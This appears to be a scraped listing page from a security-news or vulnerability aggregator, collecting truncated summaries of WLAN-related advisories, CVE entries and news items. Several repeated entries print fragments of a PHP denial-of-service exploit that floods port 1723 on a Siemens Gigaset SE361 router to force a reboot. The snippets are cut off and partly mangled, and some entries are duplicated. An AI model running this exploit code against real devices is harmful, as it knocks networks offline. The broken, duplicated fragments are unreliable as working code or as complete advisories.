SuSE 11.1 Security Update : dhcpcd (SAT Patch Number 4389)

A rogue DHCP server could instruct clients to use a host name that contains shell meta characters. Since many scripts in the system do not expect unusal characters in the system's host name the DHCP client needs to sanitize the host name offered by the server. CVE-2011-0996 Note this update is...

HTC HD Mini Gets Hacked, Now Runs Android !

The HTC HD Mini, also previously known as Photon, is pretty old as far as smartphones go--the Windows Mobile 6.5 phone was first released back in February 2010. So a XDA Developer member has given the cellphone a new lease of life by bringing Android and Linux OS to it. Forum member "Cotulla"...

SuSE 10 Security Update : ndiswrapper (ZYPP Patch Number 5834)

The ndiswrapper was updated to fix multiple buffer overflows that can be exploited over a connected WLAN by using long ESSID stings. CVE-2008-4395 %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The text description of this plugin is C Novell, Inc. include'deprecatednasllevel.inc';...

OS X 10.6.5 kernel crash upon wlan roaming with disabled mandatory MCS

During the buildup at the CCC 27c3 congress in Berlin we noticed several Apple Macbooks kernel paniced while connected to the wireless network. We identified the cause of this issue and we are able to reproduce this as well. It seems to be limited to the aluminum unibody Macbooks, running OS X...

Indian hacker Atul Alex plants back door in Symbian firmware !

Indian hacker Atul Alex has had a look at the firmware for Symbian S60 smartphones and come up with a back door for it. By modifying version 5 of the original software – which runs on such devices as the Nokia 5800, Nokia X6, Nokia 5530XM, Sony Ericsson Satio and Sony Ericsson Vivaz – he has...

Cisco Wireless LAN Controller multiple security vulnerabilities

DoS conditions, privilege escalations, restrictions bypass...

Design/Logic Flaw

Cisco Unified Wireless Network UWN Solution 7.x before 7.0.98.0 on 4404 series controllers does not properly implement the WEBAUTHREQD state, which allows remote attackers to bypass intended access restrictions via WLAN traffic, aka Bug ID CSCtb75305...

CVE-2010-2984

Cisco Unified Wireless Network UWN Solution 7.x before 7.0.98.0 on 4404 series controllers does not properly implement the WEBAUTHREQD state, which allows remote attackers to bypass intended access restrictions via WLAN traffic, aka Bug ID CSCtb75305...

SNMP Query WLAN SSID (Cisco)

It is possible to obtain the system information about the remote WLAN by sending SNMP requests with the OID 1.3.6.1.4.1.9.9.512.1.1.1.1.4.1 to the remote Access Point controller. An attacker may use this information to gain more knowledge about the target network. TRUSTED...

Aruba Networks Advisory ID: AID-102609 - Malformed 802.11 Association Request frame causes Denial of Service condition on an Access Point

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Aruba Networks Security Advisory Title: Malformed 802.11 Association Request frame causes Denial of Service condition on an Access Point. Aruba Advisory ID: AID-102609 Revision: 1.0 For Public Release on 10/26/2009...

CVE-2009-3322

The Siemens Gigaset SE361 WLAN router allows remote attackers to cause a denial of service device reboot via a flood of crafted TCP packets to port 1723...

CVE-2009-3322

The Siemens Gigaset SE361 WLAN router allows remote attackers to cause a denial of service device reboot via a flood of crafted TCP packets to port 1723...

CVE-2009-3322

CVE-2009-3322 affects the Siemens Gigaset SE361 WLAN router. A remote attacker can trigger a denial of service (device reboot) by sending a flood of crafted TCP packets to port 1723. The connected advisory confirms a remote DoS vulnerability; exploitation details are not provided beyond this, and...

Siemens Gigaset SE361 Wlan - Remote Reboot

Attacking port 1723flood, it restarts the device almost instantly, here's the code in PHP. It takes a few bytes for the AP to automatically restart ?php $apaddr = "192.168.2.1"; $apport="1723"; $con = fsockopen$apaddr, $apport, $errno, $errstr; if !$con echo "$errstr $errnobr /n"; else $trash =...

Siemens Gigaset SE361 WLAN Remote Reboot Exploit

Exploit for hardware platform in category dos / poc ================================================ Siemens Gigaset SE361 WLAN Remote Reboot Exploit ================================================ Attacking port 1723flood, it restarts the device almost instantly, here's the code in PHP. It take...

Siemens Gigaset SE361 Wlan Reboot Exploit

Attacking port 1723flood, it restarts the device almost instantly, here's the code in PHP. It takes a few bytes for the AP to automatically restart \n"; else $trash = strrepeat"\x90","261"; fwrite$con, $trash; while !feof$con echo "$trash \r\n"; fclose$con; ?...

Siemens Gigaset SE361 WLAN Remote Reboot Exploit

No description provided by source. Attacking port 1723flood, it restarts the device almost instantly, here's the code in PHP. It takes a few bytes for the AP to automatically restart ?php $apaddr = "192.168.2.1"; $apport="1723"; $con = fsockopen$apaddr, $apport, $errno, $errstr; if !$con echo...

CVE-2008-6993

Siemens Gigaset WLAN Camera 1.27 has an insecure default password, which allows remote attackers to conduct unauthorized activities. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...

Default credentials

Siemens Gigaset WLAN Camera 1.27 has an insecure default password, which allows remote attackers to conduct unauthorized activities. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...

CVE-2008-6993

CVE-2008-6993 affects Siemens Gigaset WLAN Camera 1.27 and is based on an insecure default password that enables remote unauthorized activity. The connected Red Hat advisory and NVD entry corroborate the same description. Affected component is the device firmware on version 1.27; root cause is de...